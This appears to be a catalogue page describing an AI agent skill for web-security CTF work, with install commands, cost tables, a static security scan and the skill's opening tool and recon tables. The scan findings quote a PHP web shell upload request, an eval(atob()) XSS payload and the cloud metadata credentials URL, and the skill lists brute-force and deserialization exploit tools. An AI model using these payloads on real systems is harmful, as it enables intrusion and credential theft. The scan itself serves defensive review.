Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/yhy0/chying-agent/web-securitynpx skills add yhy0/CHYing-agent --skill web-securitygit clone --depth 1 https://github.com/yhy0/CHYing-agentWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/yhy0/chying-agent/web-security)<a href="https://agentmods.dev/skills/yhy0/chying-agent/web-security"><img src="https://agentmods.dev/badge/skills/yhy0/chying-agent/web-security.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00035 | $0.05755 |
| Opus 5 | $0.00017 | $0.02877 |
| Sonnet 5 | $0.00007 | $0.01151 |
| Haiku 4.5 | $0.00003 | $0.00575 |
Grade C, and why
web-security scanned grade C with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
requests.post("http://target.com/upload", files={'file':('shell.php','<?php system($_GET["c"]);?>','image/png')}) Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Encoded or obfuscated payloadmediumSupply chain
base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.
<script>eval(atob('YWxlcnQoMSk='))</script> Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
AWS: http://169.254.169.254/latest/meta-data/iam/security-credentials/ Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sI "$URL" | head -30 # 响应头 → Server/X-Powered-By/Set-Cookie How it starts
The opening of the file, as written. The whole thing — 491 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Web Security CTF Skill
容器可用工具
| 工具 | 命令 | 用途 |
|---|---|---|
| nmap | nmap -sV -sC -p- target |
端口扫描、服务识别 |
| ffuf | ffuf -u URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt |
目录/参数 Fuzz |
| sqlmap | sqlmap -u "URL?id=1" --batch --tamper=space2comment |
SQL 注入自动化 |
| whatweb | whatweb URL |
技术栈识别 |
| nuclei | nuclei -u URL -t cves/ |
模板化漏洞扫描 |
| httpx | httpx -u URL -title -status-code -tech-detect |
Web 探测 |
| katana | katana -u URL -d 3 |
爬虫/URL 发现 |
| subfinder | subfinder -d domain.com |
子域名枚举 |
| arjun | arjun -u URL |
隐藏参数发现 |
| wpscan | wpscan --url URL |
WordPress 扫描 |
| commix | commix -u "URL?cmd=test" |
命令注入自动化 |
| hydra | hydra -l admin -P wordlist target http-post-form "..." |
在线暴力破解 |
| sslscan | sslscan target |
SSL/TLS 检测 |
| tplmap | tplmap -u "URL?name=test" |
SSTI 自动检测 |
| xsstrike | xsstrike -u "URL?q=test" |
XSS 检测 |
| clairvoyance | clairvoyance -u URL/graphql |
GraphQL Schema 侦察 |
| jwt-tool | jwt-tool TOKEN |
JWT 攻击 |
| gopherus | gopherus --exploit mysql |
SSRF gopher 协议利用 |
| phpggc | phpggc Laravel/RCE1 system id |
PHP 反序列化链生成 |
| ysoserial | ysoserial CommonsCollections1 'cmd' |
Java 反序列化链生成 |
词表: /usr/share/seclists/
首触侦察 (任何目标先跑这5步)
curl -sI "$URL" | head -30 # 响应头 → Server/X-Powered-By/Set-Cookie
whatweb "$URL" 2>/dev/null # 技术栈指纹
ffuf -u "${URL}/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,403 2>/dev/null
curl -s "$URL/robots.txt"; curl -s "$URL/.git/HEAD"; curl -s "$URL/www.zip" -o /dev/null -w "%{http_code}"
arjun -u "$URL" --stable 2>/dev/null # 隐藏参数发现
漏洞调度表
| 类型 | 识别特征 | Module |
|---|---|---|
| SQL 注入 | 参数回显异常、' 报错、搜索框 |
modules/sqli.md |
| XSS | 输入回显到页面、评论/昵称 | modules/xss.md |
| 命令执行 | ping 功能、参数拼接到命令 | modules/rce.md |
| 文件包含 | page=/file=/include= |
modules/lfi.md |
| 文件上传 | 头像/附件上传入口 | modules/upload.md |
| SSRF | URL 参数、图片加载、PDF 生成 | modules/ssrf.md |
| SSTI | {{7*7}}→49、模板语法回显 |
modules/ssti.md |
| XXE | XML 输入、SOAP、text/xml | modules/xxe.md |
| 反序列化 | base64 blob、serialize 参数 | modules/deserialize.md |
| PHP 特性 | 弱类型==、伪协议 |
modules/php.md |
| JWT | Bearer / eyJ 开头 cookie |
modules/jwt.md |
| Java | Spring/Struts/Shiro/SpEL | modules/java.md |
| 区块链 | Solidity、合约地址 | modules/blockchain.md |
| 组件漏洞 | 已知版本号、中间件指纹 | modules/cve.md |
| IDOR | 数字ID/UUID 在 URL/API 中 | modules/idor.md |
| 认证绕过 | 登录/OTP/2FA、session | modules/auth-bypass.md |
| 访问控制 | 角色权限、越权 | modules/access-control.md |
| 业务逻辑/竞态 | 购买/优惠券/余额/并发 | modules/business-logic.md |
| CSRF/HRS | 表单提交、HTTP 走私 | modules/request-forgery.md |
| 信息搜集 | 未知目标全面侦察 | modules/recon.md |
What ships with it
23 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
- docs/QUICKREF.md 3.0 KB
- docs/TOOLS.md 4.4 KB
- modules/access-control.md 8.6 KB
- modules/auth-bypass.md 8.8 KB
- modules/blockchain.md 8.5 KB
- modules/business-logic.md 8.5 KB
- modules/cve.md 7.5 KB
- modules/deserialize.md 6.4 KB
- modules/idor.md 8.1 KB
- modules/java.md 8.2 KB
- modules/jwt.md 9.5 KB
- modules/lfi.md 10 KB
- modules/php.md 7.9 KB
- modules/rce.md 10 KB
- modules/recon.md 9.1 KB
- modules/request-forgery.md 8.1 KB
- modules/sqli.md 11 KB
- modules/ssrf.md 8.7 KB
- modules/ssti.md 7.8 KB
- modules/upload.md 11 KB
- modules/vuln-scan.md 4.9 KB
- modules/xss.md 9.1 KB
- modules/xxe.md 9.4 KB
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 491 lines · 35 tokens per session scan C d962835297af
web-security is a skill published in the GitHub repository yhy0/CHYing-agent (554 stars, last pushed 4mo ago), licensed MIT. It adds 35 tokens to every session and 5,755 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it C with 4 findings (sends data to an external url, encoded or obfuscated payload, cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
local-ai-agents
Build local-first AI agents that run entirely on a developer workstation with Microsoft Foundry Local and Qwen function-calling models. Covers Small Language Models (SLMs), the OpenAI-compatible local endpoint, sandboxed local tools, local RAG with Chroma, local MCP servers, hybrid cloud/local routing, and the…
chronicle
Analyze Copilot session history for standup reports, usage tips, session search, and session reindexing. Use when the user asks for a standup, daily summary, usage tips, workflow recommendations, wants to search or find past sessions by keyword/file/PR, wants to reindex their session store, or asks about deleting…
imagegen
Generate or edit raster images when the task benefits from AI-created bitmap visuals such as photos, illustrations, textures, sprites, mockups, or transparent-background cutouts. Use when Codex should create a brand-new image, transform an existing image, or derive visual variants from references, and the output…
chat-pet-sprite-creation
Use when creating or changing VS Code chat pet sprite art, sprite sheets, state animations, eye treatments, Stable/Insiders variants, or pet transitions under src/vs/workbench/contrib/chat/browser/widget/media/chatPet.
cpu-profile-analysis
Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…